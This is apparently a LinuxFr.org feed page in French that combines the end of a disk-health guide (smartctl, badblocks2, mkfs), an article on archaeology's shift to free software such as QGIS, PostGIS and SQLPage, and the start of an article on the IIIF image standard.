        Ensuite déterminer si S.M.A.R.T. est sur le média :

        # smartctl --scan-open
        # smartctl -x /dev/sdc
        # smartctl -i -d scsi -T verypermissive /dev/sdc
        

        Si S.M.A.R.T. n’est pas sur le média

        Passer badblocks2 pour voir s’il y a 0 ou peu de mauvais blocs :

        # badblocks2 -b 4096 -c 32768 -wrrvvss -t r -t r -e 40 -o /tmp/sdc.bb /dev/sdc
        

        L’option -e peut être supprimée ou modifiée selon la limite du nombre de mauvais blocs considérée acceptable ; les options -t peuvent être différentes selon la sévérité souhaitée (voir le man).

        S’il y a trop de mauvais blocs, refuser d’utiliser le média (->garantie ?).

        S’il y a 0 mauvais bloc on peut formater en toute tranquillité (partitionner éventuellement avant) :

        # mkfs.ext? -b 4096 ... /dev/sdc
        

        S’il y a quelques mauvais blocs, sans que la limite -e soit atteinte, on pourra formater en utilisant la liste sauvée de mauvais blocs :

        # mkfs.ext? -b 4096 -l /tmp/sdc.bb ... /dev/sdc
        

        Si l’on veut partitionner, il faudra recalculer la liste des mauvais blocs de chaque partition avant de formater (remplacer sdc par sdc1 dans les commandes badblocks2 et mkfs.ext? ci-dessus).

        Si l’on veut formater en vfat exfat ou f2fs (clés USB en général), il n’est pas possible d’utiliser la liste des mauvais blocs détectés ; la seule solution est de refuser d’utiliser le média s’il y a des mauvais blocs (ou alors de restreindre l’usage à une zone saine… à localiser)

        Si S.M.A.R.T. est sur le média

        On peut vérifier son activation par smartctl :

        # smartctl -i /dev/sdc
        

        Ensuite, il faut interroger le média sur l’état et les capacités de son S.M.A.R.T. :

        # smartctl -a /dev/sdc
        

        Noter le nombre de réallocations faites et prévues :

        # smartctl -a /dev/sdc | grep -i _sector
        

        Puis faire une passe de déverminage, en écriture+lecture car on ne sait pas si l’écriture seule suffit ; ne pas utiliser l’option -p de badblocks ; les options -t peuvent être différentes selon la sévérité souhaitée (voir le man) :

        # badblocks2 -b 4096 -c 32768 -wrvvss -t r -o /tmp/sdc.bb1 /dev/sdc
        

        Faire une passe de vérification, il ne devrait plus y avoir de mauvais blocs :

        # badblocks2 -b 4096 -c 32768 -wrvvss -t r -o /tmp/sdc.bb2 /dev/sdc
        

        S’il y a encore des mauvais blocs, c’est soit que le déverminage n’est pas terminé, soit que le média et/ou son S.M.A.R.T. sont foireux (il ne détecte pas les mauvais secteurs vus par badblocks2 ou les secteurs de réserve sont mauvais ou… pire) ; relancer des passes une par une jusqu’à ce qu’il n’y ait plus de mauvais bloc détecté.

        Re-interroger S.M.A.R.T. pour voir l’évolution des réallocations :

        # smartctl -a /dev/sdc | grep -i _sector
        

        Ensuite on peut formater (partitionner éventuellement avant) en considérant que le média a remappé tous ses mauvais secteurs et est donc impeccable pour l’utilisation :

        # mkfs.ext? -b 4096 ... /dev/sdc
        

        Par la suite, on pourra de temps en temps consulter l’état de santé du média en service :

        # smartctl -H /dev/sda
        

        Si on est courageux, on peut lancer de temps en temps un contrôle du média par son S.M.A.R.T.
        Si on est encore plus courageux, on configurera smartd pour que ces vérifications soient automatiques et pour que les alertes soient envoyées par courriel.

        Attention à la communication entre l’O.S., S.M.A.R.T. et RAID (niveau carte mère / niveau OS / contrôleurs bas de gamme), voir la page Wikipedia sur S.M.A.R.T..

        Que l’esprit « aware » soit en toi, sur tes données et sur ton espace de stockage

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • Comment l’archéologie entre progressivement dans l’ère du logiciel libre
          L’archéologie est un domaine qui, depuis ses débuts, s’attache au catalogage, à la structuration et l’archivage de données issues de fouilles. Sur le terrain, elle a longtemps reposé sur la création de fiches, la collecte manuelle d’information sur papier, et le dessin à la main, retranscrit lors des phases d’étude sur support numérique. Ce n’est que récemment que certains archéologues ont lancé le mouvement de la fouille « tout numérique ». Je vous propose de raconter ici l’histoire de la numér

        Comment l’archéologie entre progressivement dans l’ère du logiciel libre

        L’archéologie est un domaine qui, depuis ses débuts, s’attache au catalogage, à la structuration et l’archivage de données issues de fouilles. Sur le terrain, elle a longtemps reposé sur la création de fiches, la collecte manuelle d’information sur papier, et le dessin à la main, retranscrit lors des phases d’étude sur support numérique. Ce n’est que récemment que certains archéologues ont lancé le mouvement de la fouille « tout numérique ». Je vous propose de raconter ici l’histoire de la numérisation de l’archéologie, qui, comme vous allez le voir, repose en partie sur le logiciel libre.

        Sommaire

        Qu’est-ce qu’un chantier de fouilles ?

        L’archéologie française se divise en deux branches principales : l’archéologie préventive, qui intervient lors de projets de construction, et l’archéologie programmée, menée sur des sites choisis pour répondre à des problématiques de recherche. Supervisées par les Services Régionaux de l’Archéologie du Ministère de la Culture, ces activités sont réalisées par différents organismes : opérateurs publics et privés pour l’archéologie préventive, et associations, CNRS ou universitaires pour l’archéologie programmée. Cette dernière mobilise souvent des bénévoles, notamment des étudiants, leur offrant une formation pratique complémentaire.

        Pour l’archéologue, la fouille est un outil, et non un but en soi. Ce que l’archéologue cherche, c’est de l’information. En substance, il s’agit de comprendre l’histoire d’un site, son évolution, ses habitants à travers les éléments qu’ils ont laissés derrière eux, que ce soit les ruines de leurs habitats, de leurs activités artisanales ou leurs sépultures. Ceci est d’autant plus important que la fouille est un acte destructeur, puisque l’archéologue démantèle son sujet d’étude au fur et à mesure de la fouille.

        Pour être exploitée, l’information archéologique doit être organisée selon des principes bien établis. Le premier concept clé est la couche sédimentaire (Unité Stratigraphique - US), qui témoigne d’une action humaine ou d’un phénomène naturel. L’étude de l’agencement de ces couches révèle la chronologie du site, la succession des évènements qui s’y sont déroulés. Ces couches peuvent être regroupées en faits archéologiques : fossés, caves, sépultures, sont en effet des regroupements de couches qui définissent un élément spécifique. Enfin, les objets trouvés dans ces couches, ou mobiliers, sont catalogués et identifiés par leur couche d’origine, fournissant des indications chronologiques et culturelles cruciales.

        chantier mastraits
        Le chantier de fouilles de la Nécropole des Mastraits, à Noisy-le-Grand (93).

        Les actions menées par l’archéologue tout au long du chantier sont également enregistrées. En effet, l’archéologue procède à des sondages, réalise des tranchées, mais fait aussi de nombreuses photos, ou des dessins de tout ce qu’il découvre au fur et à mesure de l’avancement du chantier. La documentation produite peut être pléthorique, et un catalogage indispensable.

        Cette information descriptive est complétée par une information spatiale, le plan des vestiges mis au jour étant essentiel pour l’analyse et la présentation des résultats. L’étude de ce plan, associée aux informations descriptives et chronologiques, met en évidence les grandes évolutions du site ou des détails spécifiques. Sa réalisation est généralement confiée à un topographe en collaboration avec les archéologues.

        À l’issue de la phase de terrain, une phase d’analyse des données collectées est réalisée. Cette phase dite de post-fouille permet de traiter l’ensemble des informations recueillies, d’en réaliser la description complète, d’effectuer les études nécessaires à la compréhension du site en faisant appel à de nombreux spécialistes : céramologues, anthropologues, archéozoologues, lithiciens, carpologues, anthracologues, spécialistes de la paléométallurgie, etc.

        Cette phase de post-fouille aboutit dans un premier temps à la réalisation d’un rapport d’opération, compte rendu le plus exhaustif possible du site et de son évolution. Ces rapports sont remis au ministère de la Culture qui en juge la qualité. Ils ne sont pas destinés à être largement diffusés, mais sont normalement accessibles à toute personne qui en fait la demande auprès de l’administration concernée. Ils sont une base de travail importante pour l’ensemble de la communauté scientifique.

        Sur la base de ce rapport, la publication d’articles dans des revues spécialisées permet de présenter les résultats de l’opération plus largement, parfois en fonction de certaines thématiques ou problématiques spécifiques.

        Pratique de l’archéologie : exemple dans le préventif

        L’utilisation de très nombreux listings papier est une constante. Ces listings permettent de tenir à jour l’enregistrement de la donnée sous forme de tableaux d’inventaire des couches, des faits, des sondages, des photos, etc. Des fiches d’enregistrement spécifiques sont également utilisées dans de nombreuses spécialités de l’archéologie, telle que l’anthropologie funéraire.

        Sur le terrain, les éléments mis au jour sont encore pour une très grande majorité dessinés à la main, sur papier calque ou millimétré, qu’il s’agisse d’un plan de vestiges ou des nombreux relevés de coupe stratigraphique. Ceci demande bien entendu un temps important, en particulier en cas de vestiges complexes.
        L’utilisation de tachéomètres électroniques, puis du GPS différentiel a permis de se passer des décamètres, ou des systèmes de carroyage, lors de la fouille des sites. Des topographes, spécifiquement formés, ont alors commencé à intervenir sur site pour la réalisation des plans généraux.

        La collection documentaire obtenue à l’issue d’un chantier de fouille est particulièrement précieuse. Il s’agit là des seuls éléments qui permettront de restituer l’histoire du site, en croisant ces données avec le résultat des études réalisées. La crainte de la disparition de ces données, ou de leur utilisation par autrui du fait d’une découverte remarquable, est un sentiment souvent partagé au sein de la communauté archéologique. L’archéologue peut se sentir dépositaire de cette information, voire exprimer un sentiment de possession qui va tout à fait à l’encontre de l’idée de science partagée et ouverte. L’idée que l’ouverture de la donnée est le meilleur moyen de la protéger est loin d’être une évidence.

        fiche de conservation, illustrant le coloriage manuel des parties de squelette retrouvées
        Fiche de conservation, illustrant le coloriage manuel des parties de squelette retrouvées

        Exemple de fiche descriptive d’une couche archéologique
        Exemple, parmi tant d’autres, de fiche descriptive vierge d’une couche archéologique

        Le début de la numérisation

        C’est essentiellement après la phase terrain que les outils numériques ont été apprivoisés par les archéologues.

        En post-fouille, la documentation papier est encore souvent une base documentaire fondamentale pour l’analyse du site. L’irruption de l’informatique au milieu des années 80 a conduit les archéologues à transcrire cette donnée sous forme numérique, afin de faciliter son analyse et sa présentation. Bien que les logiciels aient évolué, le processus est pratiquement le même aujourd’hui, avec une numérisation de la documentation sous de nombreux formats.

        Les listings peuvent être intégrés à des bases de données (le plus souvent propriétaires tel MS Access, FileMaker ou 4D) ou des tableurs. De nombreuses bases ont été développées en interne, localement, par les archéologues eux-mêmes. Uniquement attributaires, elles se sont progressivement mises en réseau et adaptées au support, permettant d’envisager un usage sur le terrain, sans que ceci ne soit largement déployé.

        Base de données
        Exemple d’une base de données au tournant des années 2000

        Toute la documentation dessinée sur le terrain est amenée à être redessinée au propre sur support numérique, dans des logiciels de dessin vectoriel, très souvent Adobe Illustrator, parfois Inkscape.
        Les données en plan, levées par le topographe, sont réalisées sous Autocad et étaient exportés en .dxf ou .dwg avant d’être remis au propre sous Adobe illustrator, ce qui est le cas également des dessins réalisés sur le terrain.
        Le mobilier est confié à des spécialistes qui le décrivent, le dessinent, en dressent l’inventaire, le plus souvent dans des tableurs. Leurs dessins sont là encore scannés et remis au propre numériquement.

        Avec le recul, nous constatons que les outils numériques sont majoritairement utilisés comme des outils de mise au propre de l’information collectée sur le terrain. Bien des tableurs ne sont ainsi que la stricte transcription des tableaux papier utilisés par les archéologues, auquel on ajoutera quelques totaux, moyennes ou médianes. Les dessins réalisés sur papier, sont décalqués dans des logiciels de vectorisation pour plus de lisibilité et les plus-values scientifique sont finalement assez limitées.

        Il en résulte une documentation numérique relativement disparate, avec l’usage de nombreux outils propriétaires, des formats fermés, et une séparation très forte entre l’information spatiale et l’information descriptive (ou attributaire).

        L’usage progressif des bases de données a cependant permis d’agglomérer certaines données et de rassembler et mettre en relation l’information. Des travaux universitaires ont également permis d’alimenter la réflexion sur la structuration des données archéologiques et de former de nombreux archéologues, permettant d’adopter des pratiques plus vertueuses.

        Le mouvement tout numérique

        Jusqu’à présent, passer au tout numérique dans le cadre archéologique semblait relativement utopique. Il a fallu que de nouvelles technologies apparaissent, que des supports portables et simples d’usage se mettent en place, que les réseaux se développent, et que les archéologues s’emparent de ces nouveaux outils.

        Le collectif Ramen (Recherches Archéologiques en Modélisation de l’Enregistrement Numérique) est né des échanges et des expériences de divers archéologues de l’Institut National De Recherches Archéologiques Préventives (Inrap) qui se sont regroupés autour de la réalisation de la fouille programmée de la nécropole médiévale de Noisy-Le-Grand, fouille gérée par l’association Archéologie des Nécropoles et confiée à la direction scientifique de Cyrille Le Forestier (Inrap). Cette fouille programmée a permis de lancer une expérimentation sur la complète dématérialisation de la donnée archéologique en se basant sur la photogrammétrie, le SIG, et une base de données spatiale.

        Principe général

        Si le topographe intervient bien toujours pour la prise de points de référence, le relevé détaillé des vestiges est assuré, pour cette expérimentation, par la mise en œuvre de la photogrammétrie de manière systématique. Cette méthode permet, par la réalisation de multiples photos d’un objet ou d’une scène, de réaliser un modèle 3D précis, et donc exploitable à postériori par l’archéologue en post fouille. La photogrammétrie constitue à Noisy l’unique outil de relevé, remplaçant purement et simplement le dessin sur papier. En effet, à partir de ce nuage de points 3D, il est possible d’extraire de multiples supports en 2D et d’ajouter la géométrie ou des informations supplémentaires dans la base de données: contours de la sépulture, représentation du squelette in situ, profils, mesures, altitudes, etc.

        Relevé photogrammétrique d’une sépulture
        Relevé photogrammétrique d’une sépulture

        L’enregistrement des données est assuré par l’utilisation d’une base de données relationnelles et spatiales dont l’interface est accessible dans QGIS, mais également via une interface web directement sur le terrain, sans passer par des inventaires ou listing papier. L’interface web a été réalisée grâce à SQLPage, serveur web qui utilise un langage à base de SQL pour la réalisation de l’interface graphique, sans avoir à passer par les langages de programmation plus complexes classiquement utilisés pour la création d’applications web, tel PHP.

        Bien entendu, cette démarche se poursuit également en laboratoire lors de l’étape d’analyse du site.

        Logiciels et formats libres

        Mais l’abandon du support papier nécessite de nous poser la question de la pérennité des fichiers et des données qu’ils contiennent.

        En effet, dans un processus de dématérialisation complet, la mémoire du site n’est plus contenue sur des centaines de fiches manuscrites, mais dans des fichiers numériques dont nous ignorons à priori si nous pourrons les conserver sur le long terme. L’impossibilité d’accéder à cette donnée avec d’autres logiciels que ceux originellement utilisés lors de leur création équivaut à leur destruction. Seuls les formats standards peuvent répondre à cette problématique, et ils sont particulièrement utilisés par les logiciels libres. Pour la photogrammétrie, les formats .ply et .obj, qui sont implémentés dans de nombreux logiciels, libres et propriétaires, ont été choisis. Pour la donnée attributaire et spatiale, elle est enregistrée dans des bases de données relationnelles libres (Spatialite et Postgis), et facilement exportable en .sql, qui est un format standardisé et reconnu par de très nombreuses bases de données.

        Malheureusement, le logiciel libre reste peu utilisé dans notre quotidien archéologique, et les logiciels propriétaires sont souvent très bien implantés. Le libre souffre encore aujourd’hui d’a priori et d’une mauvaise image au sein de la communauté archéologique, qui le trouve plus compliqué, moins joli, moins efficace, etc.

        Le libre a cependant fait une incursion majeure avec l’arrivée du Système d’Information Géographique (SIG) libre QGIS, qui a permis d’installer un SIG sur tous les postes des agents de l’institut et de l’envisager comme un outil d’analyse à l’échelle d’un site archéologique. Par un accompagnement et la mise en place d’un plan de formation adéquat, de nombreux archéologues ont été formés à l’usage du logiciel au sein de l’Institut.

        QGIS a véritablement révolutionné nos pratiques en permettant l’interrogation immédiate de la donnée attributaire par la donnée spatiale (quel est ce vestige que je vois sur le plan ?) ou, à l’inverse, de localiser un vestige par sa donnée attributaire (où se trouve la sépulture 525 ?). Il est cependant très fréquent d’avoir encore d’un côté la donnée attributaire dans des tableurs ou des bases de données propriétaires, et la donnée spatiale dans QGIS, l’interrogation des deux reposant sur des jointures.

        Bien entendu, QGIS permet aussi l’analyse des données, la création de plans thématiques ou chronologiques, indispensables supports à nos réflexions. Nous pouvons, à partir de ces éléments, réaliser les très nombreuses figures du rapport d’opération, sans passer par un logiciel de dessin vectoriel, en plan comme en coupe (représentation verticale de la stratigraphie). Il permet de normaliser les figures par l’emploi des styles, et, par l’usage de l’outil Atlas, de réaliser des catalogues complets, pour peu que la donnée soit rigoureusement structurée.

        analyse spatiale
        Exemple d’analyse dans Qgis de répartition des rejets de céramique sur un site gaulois

        Dans le cadre de l’expérimentation sur la nécropole des Mastraits, Si Qgis est bien un des piliers du système, quelques logiciels propriétaires sont encore employés.

        Le logiciel de traitement utilisé pour la photogrammétrie est propriétaire. L’objectif à terme est de pouvoir utiliser un logiciel libre, MicMac, développé par l’IGN, étant un possible candidat. Il manque cependant encore d’une interface pleinement intuitive pour que les archéologues puissent s’approprier l’outil de manière autonome.

        De même, les enthousiasmantes dernières évolutions du projet Inkscape devraient nous inciter à nous tourner davantage vers ce logiciel et à utiliser de manière systématique le .svg. L’usage de Scribus pour la PAO devrait également être sérieusement envisagée.

        Le logiciel libre et ses indéniables avantages prend ainsi doucement place, essentiellement via QGIS, dans la chaîne de production de nos données archéologiques. Nous ne pouvons qu’espérer que cette place grandira. Le chemin paraît encore long, mais la voie libre…

        Badass, spatial et attributaire réunis

        Le développement de la Base Archéologique de Données Attributaires et SpatialeS a eu comme objectif d’intégrer, au sein d’une seule et même base de données, les informations attributaires renseignées par les archéologues et les informations spatiales recueillies par le topographe. Il s’agit même de rassembler, au sein des tables dédiées, les informations attributaires et spatiales, garantissant ainsi l’intégrité de la donnée.
        Son principe s’appuie sur le fonctionnement de la chaine opératoire en archéologie, à savoir l’identification et l’enregistrement par l’archéologue des vestiges mis au jour, auquel succède le relevé tridimentionnel réalisé par le topographe. Ce dernier dispose, dans la base de données, de tables spécifiques dans laquelle il peut verser la géométrie et des données attributaires minimales (numéro, type). Des triggers vont ensuite alimenter les tables renseignées par les archéologues avec la géométrie, selon leur identifiant et leur type.

        La base est ainsi l’unique dépositaire de l’information attributaire et spatiale tout au long de l’opération, du terrain à la post fouille.

        Le format de la base de données est à l’origine SpatiaLite. Mais la masse documentaire produite par la nécropole des Mastraits nous a conduit à la porter sous PostGIS. Nombre d’opérations archéologiques ne nécessitent cependant qu’une petite base SpatiaLite, qui permet en outre à l’archéologue d’avoir la main sur son fichier de données. Seuls quelques gros chantiers peuvent avoir besoin d’une solution PostgreSQL, par ailleurs utilisée pour le CAtalogue de VIsualisation ARchéologique (Caviar) qui a vocation à accueillir les données spatiales et attributaires produites à l’institut.

        Naturellement, Badass a été couplée à un projet QGIS proposant déjà des styles par défaut, mais aussi quelques requêtes ou vues communément utilisées lors d’une étude archéologique. Une extension QGIS a été développée par plusieurs étudiants afin de permettre la génération automatique du projet et de la base de données.

        Pour entrer dans Badass : la Bad’Mobil

        Il restait la question de la portabilité de ce système. QGIS est un logiciel demandant beaucoup de ressource et dont l’interface est inadaptée aux petits écrans, appréciés pour leur portabilité sur le terrain (téléphones et tablettes).

        Choisir d’utiliser une base SpatiaLite ou PostGIS permettait d’envisager dès le départ une interface web, qui pourrait alors être utilisée sur n’importe quel terminal. Il avait d’abord été envisagé de lancer un développement en PHP/HTML/CSS avec un serveur web Apache. Mais ceci nécessitait de disposer d’un serveur web, et de programmer toute une interface. Il restait aussi à répondre à quelques questions d’infrastructure : où l’héberger, quels financements pour cela, et qui pour administrer l’ensemble ?

        C’est ici même, sur LinuxFR, que l’un des membres du collectif a découvert SQLPage. Ce logiciel libre, développée par lovasoa, permet de disposer d’un serveur web très simple, et la réalisation d’une application de type CRUD avec une interface dont le développement ne repose que sur du SQL.

        SQLPage repose sur un fichier exécutable, qui, lancé sur un poste informatique, transforme celui-ci en serveur web. Un fichier de configuration permet de définir notamment l’emplacement de la base de données qui sera interrogée. Pour chaque page web de l’interface, on écrit un fichier .sql pour définir les données à aller chercher ou modifier dans la base, et les composants d’interface qui permettront de l’afficher (tableaux, formulaires, graphiques…). L’accès à cette interface se fait dans un navigateur web. Si le poste est en réseau, l’adresse IP du poste permet d’y accéder à distance, avec une adresse comme http://192.168.1.5:8080 par exemple. L’utilisation d’un VPN nous permet d’utiliser le réseau de téléphonie mobile, ce qui nous dispense de toute mise en place d’un réseau local avec routeur, antennes, etc.

        principe
        Principe de fonctionnement général

        Ainsi, l’installation de l’ensemble est très simple et ne repose que sur une arborescence de fichiers à déployer sur le poste serveur : la base de donnée, et un répertoire contenant le binaire SQLPage et les fichiers constituant les pages web.

        En nous appuyant sur la documentation (et en posant parfois des questions à l’auteur du logiciel), nous avons pu développer seuls une interface très complète répondant bien à nos besoins sur le terrain. Nommée Bad’Mobil, l’interface web permet d’accéder à l’ensemble des données attributaires renseignées par les archéologues et permet désormais, grâce aux évolutions constantes de développement de SQLPage, de visualiser la donnée spatiale. La documentation produite au cours du chantier peut également être consultée si les fichiers (photos, dessins scannés, etc.) sont placés au bon endroit dans l’arborescence. Les pages se composent principalement de formulaires de création ou de modification, ainsi que de tableaux listant les éléments déjà enregistrés. La visualisation de la géométrie permet de se repérer spatialement sur le terrain, en particulier en cas de chantier complexe, et d’interagir avec la donnée attributaire.

        L’interface de BadMobil, avec SQLPage
        L’interface de BadMobil, avec SQLPage

        Cas d’utilisation et bénéfices concrets

        Première expérience aux Mastraits

        Le chantier de fouille de la Nécropole des Mastraits a été le chantier test de ces développements. L’importante quantité de données récoltées, mais également son statut de fouille programmée permet de mettre en place ce genre d’expérimentation avec un impact bien moindre que dans une fouille préventive où les délais sont particulièrement contraints.

        La mise en place de l’interface SQLPage a permis la dématérialisation complète de l’enregistrement attributaire, et se révèle très performante. Il s’agit d’un changement majeur de nos pratiques et va nous permettre gagner un temps extrêmement important lors du traitement des données.

        Ceci permet également de centraliser l’information, de travailler à plusieurs personnes en même temps sans attendre la disponibilité des classeurs d’enregistrement traditionnellement utilisés, et de guider les archéologues au cours du processus d’enregistrement, évitant les oublis et les erreurs. Grâce à une interface simplifiée, la saisie peut se faire de manière très intuitive sans réelle nécessité de formation approfondie.

        L’homogénéité de la donnée saisie est ainsi meilleure, et les possibilités d’interrogation bien plus importantes.

        Perspectives d’avenir

        À l’issue du développement de Badass et Bad’mobil sur la nécropole des Mastraits, il nous a paru possible d’envisager son déploiement dans le cadre de l’archéologie préventive. Si la question de l’infrastructure réseau nécessaire au fonctionnement de cette solution peut se poser (nécessité de disposer d’une alimentation électrique stable sur des chantiers perdus en pleine campagne, disponibilité des tablettes, couverture réseau…), les bénéfices en termes d’homogénéité des données et de facilité de saisie sont très importants. Quelques chantiers d’archéologie préventive ont ainsi pu tester le système, la plupart du temps sur des sites de petite ampleur, en bénéficiant de l’accompagnement des membres du collectif.

        Les développements futurs s’orienteront sans doute vers l’intégration de nouveaux formulaires, ou de nouveaux outils de suivi. Actuellement, Badass permet de recueillir les observations communes à tous les sites archéologiques, ainsi que les observations anthropologiques du fait de son utilisation au sein de la nécropole des Mastraits.
        Nous pourrions ainsi envisager d’intégrer les nombreuses spécialités de l’archéologie, mais il est probable que nous obtenions alors une énorme machine dont la maintenance pourrait s’avérer complexe. Nous restons donc prudents à ce sujet.

        Conclusion

        Petit à petit, l’emploi des outils numériques s’est généralisé dans les métiers de l’archéologie. Après les traitements de texte et tableurs des années 90 (souvent sous mac), les premiers dessins vectoriels numérisés sous Adobe Illustrator, et les bases de données sous Filemaker, Access ou 4D, les outils numériques sont aujourd’hui en mesure d’être utilisés au cours de toute la chaîne d’acquisition de la donnée.

        L’apport des logiciels et des formats libres est majeur pour cette nouvelle étape.

        QGIS a fondamentalement révolutionné la pratique archéologique en offrant au plus grand nombre l’accès au SIG, permettant de relier et de manipuler les données attributaires et spatiales. Il a ouvert la voie à de nouvelles évolutions, et à l’intégration de technologies jusque-là peu utilisées par l’archéologie (notamment l’utilisation de bases de données relationnelles et spatiales au format SQL).
        SQLpage nous a permis d’offrir à l’archéologue une interface complète et simple afin d’accéder à une base de données en réseau. Si son développement nécessite une connaissance certaine du SQL et du fonctionnement d’un site web, son déploiement et sa maintenance sont tout à fait abordables.
        SQLPage répond à un réel besoin sur le terrain. Pour les archéologues, il permet de simplifier leur pratique tout en répondant à la complexité grandissante face à la masse documentaire à traiter, et à l’accroissement de l’exigence qualitative des rendus.

        L’association de QGIS, des bases de données spatiales et relationnelles et d’une interface web parfaitement adaptée au terrain comblent désormais le manque constaté d’un outil efficace et fiable d’enregistrement archéologique à l’échelle de l’opération. À ce titre, Badass associée à Bad‘Mobil comblent totalement les attentes des archéologues qui les ont expérimentés.

        Si les logiciels libres ont, ces dernières années, entamé une timide percée chez de nombreux opérateurs d’archéologie (certains les ont pleinement adoptés), des réticences restent présentes, que ce soit des utilisateurs, mais aussi parfois des DSI des administrations publiques, qui peuvent préférer opter pour un service tout-en-un doté d’un support technique.

        Mais la persistance des usages des logiciels propriétaires n’est pas sans poser de réels problèmes quant à la pérennité des données archéologiques et les archéologues commencent juste à découvrir le problème. Leur attachement à leurs données — si elle va parfois à l’encontre du principe de la science ouverte — devrait cependant les inciter à opter pour des formats dont la pérennité apparaît certaine, garantissant par là même l’accès à ces données dans le futur, quel que soit le logiciel ou le système d’exploitation utilisé, s’ils ne veulent pas que leur travail tombe dans l’oubli…

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        Créatures ou IA : consultez, manipulez & annotez les images des bibliothèques, musées… grâce à IIIF

        L’initiative IIIF, pour International Image Interoperability Framework, est née de la constatation que la diffusion d’images patrimoniales sur le web était « trop lente, trop coûteuse, trop décousue, trop complexe ». IIIF apporte une solution pérenne et élégante à ces difficultés en conciliant accessibilité, interopérabilité et sobriété. Il intéresse les GLAM (collections, bibliothèques, archives, musées, etc.) ainsi que les acteurs de l’enseignement et de la recherche.

        Concrètement, IIIF créé un cadre technique commun grâce auquel les fournisseurs peuvent délivrer leurs contenus sur le web de manière standardisée, afin de les rendre consultables, manipulables et annotables par n’importe quelle application compatible.

        International Image Interoperability Framework

        Sommaire

        Origine de IIIF

        En 2010, constitution d’un groupe de réflexion et d’expérimentation sur l’interopérabilité des manuscrits médiévaux numérisés à l’initiative de l’université de Stanford. Ses travaux ont conduit à l’élaboration d’un modèle de données Shared Canvas basé sur le modèle d’annotation du W3C.

        À la même époque, de grandes bibliothèques nationales et des universités ont travaillé à la définition d’un mécanisme d’échange des images pour aboutir en 2012 à la publication de la version 1 de l’API Image de l'International Image Interoperability Framework (IIIF).

        Le Consortium IIIF a été créé en 2015 par onze institutions : la British Library, Artstor, Die Bayerische Staatsbibliothek, la Bibliothèque nationale de France, Nasjonalbiblioteket (Norvège), Wellcome Trust, et les universités d’Oxford, Stanford, Cornell, Princeton et Yale. Il compte actuellement 69 membres.

        Qu’est-ce que IIIF ?

        Un aspect spectaculaire de IIIF réside dans la visualisation fluide des images et le zoom profond, cf. Sagami River, Kyoto (1660?-1670?). Princeton University, mais IIIF ne se résume pas à ça, loin de là.

        _Sagami River, Kyoto (1660?-1670?) affiché par le visualiseur libre UniversalViewer

        IIIF désigne à la fois le cadre technique partagé d’un ensemble de protocoles ouverts et une communauté humaine qui les implémente, développe des logiciels et in fine expose des contenus audiovisuels interopérables.

        Ce standard de fait est utilisé par de plus en plus d’institutions culturelles — collections, bibliothèques, musées, archives, etc. — et scientifiques — universités, labos, muséums, etc. Ses fonctionnalités s’étendent maintenant à l’audio et à la vidéo ; la prise en compte de la 3D est en cours.

        Pour l’heure, IIIF est surtout utilisé pour la diffusion d’images numériques. Ce sont ainsi des centaines de millions d’images qui deviennent véritablement découvrables, consultables, comparables, manipulables, citables, annotables et mixables par n’importe quelle application compatible capable de se « brancher » sur les entrepôts des uns et des autres.

        Sans téléchargement de fichiers images, ces ressources de « première main » sont immédiatement utilisables par les professionnels comme par les amateurs. Elles intéressent aussi les chercheurs, les enseignants et les élèves, et les médiateurs culturels, scientifiques et artistiques. IIIF facilite grandement la diffusion, la réutilisation et la valorisation de toutes ces ressources disséminées.

        Principe général d’interopérabilité de IIIF : trois applications différentes sont branchées à trois entrepôts IIIF (source : Biblissima+ — Licence Ouverte / Open License 2.0)
        Principe général d’interopérabilité de IIIF : trois applications différentes sont branchées à trois entrepôts IIIF (source : Biblissima+ — Licence Ouverte / Open License 2.0)

        Visualisation d’un document

        Photo de Bob Fitch, Martin Luther King Jr. & Joan Baez (1966), visualisée avec le logiciel libre Tify

        Copie d’écran du logiciel libre Tify présentant une photographie de Martin Luther King et de Joan Baez (Bob Fitch, 1966). Ce document est fourni par un serveur IIIF opéré par l’université de Stanford.

        Visualisation de plusieurs documents

        La magie IIIF c’est la capacité de jongler avec les références des ressources, par exemple, pour les réunir dans des bibliothèques virtuelles ou encore pour servir de points d’entrée aux robots et autres IA afin d’analyser les documents.

        Léonard Limosin est un peintre, émailleur, dessinateur et graveur français du XVIe siècle. Deux de ses œuvres sont présentées ci-après dans le visualiseur libre IIIF Mirador.

        Vues d’œuvres de Léonard Limosin avec le logiciel libre Mirador

        Sur cette page, vous pouvez explorer chaque image et zoomer, les comparer, lire leurs métadonnées, passer en plein écran ou agencer différemment les fenêtres. L’interface de Mirador vous permet aussi d’accéder à d’autres références en cliquant sur le bouton rond bleu puis en sélectionnant les documents préenregistrés.

        Vous avez aussi la possibilité d’en ajouter d’autres via le bouton bleu Ajouter une ressource en bas à droite, ensuite en insérant l’URL d’un manifeste IIIF. En faisant une recherche sur Léonard Limosin vous trouverez différentes collections comportant certaines de ses œuvres. Certaines les exposent au standard IIIF. Dans ce cas, pour chaque notice il s’agit de récupérer le lien d’un manifeste IIIF (explicite ou associé au logo IIIF). Exemple, avec cette Crucifixion au Fitzwilliam Museum (Cambridge).

        Le logiciel libre Omeka dispose de fonctionnalités IIIF et permet de créer des bibliothèques virtuelles de ressources IIIF.

        Apports de IIIF

        D’après IIIF en 5 minutes.

        Pour les usagers

        L’accès à des images de haute qualité ainsi qu’à leurs métadonnées, large choix de visualiseurs libres :

        Ces outils, et d’autres encore, offrent une large palette d’interfaces riches et universelles pour :

        Il existe de nombreux dispositifs pour utiliser ces ressources de « première main » et corpus dans un environnement éducatif et de recherche.

        Pour les diffuseurs

        • bénéficier d’une manière standardisée, cohérente et efficace, de présenter et de partager leurs collections,
        • améliorer leur visibilité, l’accessibilité à leurs données et développer des espaces de collaboration et de recherche,
        • faciliter la gestion des ressources numériques en garantissant un accès homogène et pérenne,
        • promouvoir la participation des usagers en mobilisant des outils avancés pour l’exploration et l’utilisation des ressources,
        • proposer des projets de transcription, de crowdsourcing ou de sciences participatives en fournissant des documents annotables,
        • réduire et mutualiser les coûts en utilisant un standard ouvert, des services et des logiciels éprouvés.

        Pour les développeurs

        Il existe de nombreux logiciels et composants compatibles avec les API de IIIF, beaucoup sont libres. La page officielle Awesome IIIF recense les principaux ainsi qu’un grand nombre de ressources documentaires et de services.

        IIIF est entièrement basé sur les standards et l’architecture du Web (principes REST et du Linked Data, Web Annotation Model du W3C, JSON-LD) ce qui facilite le partage et la réutilisation des données.

